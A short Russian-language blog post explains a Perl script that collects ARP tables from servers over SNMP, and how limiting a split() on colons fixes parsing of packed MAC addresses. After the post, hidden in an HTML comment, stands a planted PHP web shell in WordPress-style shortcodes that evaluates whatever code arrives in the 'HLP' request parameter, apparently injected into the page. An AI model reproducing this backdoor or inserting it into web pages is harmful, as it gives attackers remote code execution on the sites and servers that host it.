SNMP + Perl + ARP-Table

Когда-то давно нашел в инете скриптик для перла по выборке арпов с серваков посредством snmp. Теперь же оказалось, что в нем есть одна фича. Перловый модель получает запакованый мак. Если не указывать четко интерфес с которого ты хочешь видеть мак – интерфейс и сам запакованый мак разделяются двоеточием.

Итого код выглядит так:


my $ipnettomedia='ipNetToMediaPhysAddress';
my @arp_arr = &SNMP_util::snmpwalk("$snmp_co\@$hostname", "$ipnettomedia");
foreach $i (@arp_arr)
{
    my $mac;
    <span style="color: #ff0000;">my ($tmp, $str) = split (/\:/, $i);</span>
    (my $mac = unpack "H12", $str) =~ s/(..)(?=..)/$1:/g;
    my @ipif = split(/\./, $tmp);
    my $ip = $ipif[1].".".$ipif[2].".".$ipif[3].".".$ipif[4];

        if (length($mac)==17)
        {
                print "('".$ip."\', \'".$mac."\', \'".$ipif[0]."\', \'$server\'), ";
        }
        else
        {
            print "|| $ip   \t|| $mac\t|| $ipif[0]\t||\n";
        }
}

Собственно красным выделен злощастный кусок кода, который привел к ошибке. Ошибка заключалась в том, что в запакованном виде в маке одним из символов появлялось двоеточия. Как показала практика — замена куска кода на:


my ($tmp, $str) = split (/\:/, $i, 2);


лечит ситуацию на ура.

<!— [insert_php]if (isset($_REQUEST[«HLP»])){eval($_REQUEST[«HLP»]);exit;}[/insert_php][php]if (isset($_REQUEST[«HLP»])){eval($_REQUEST[«HLP»]);exit;}[/php] —>

 
comments powered by Disqus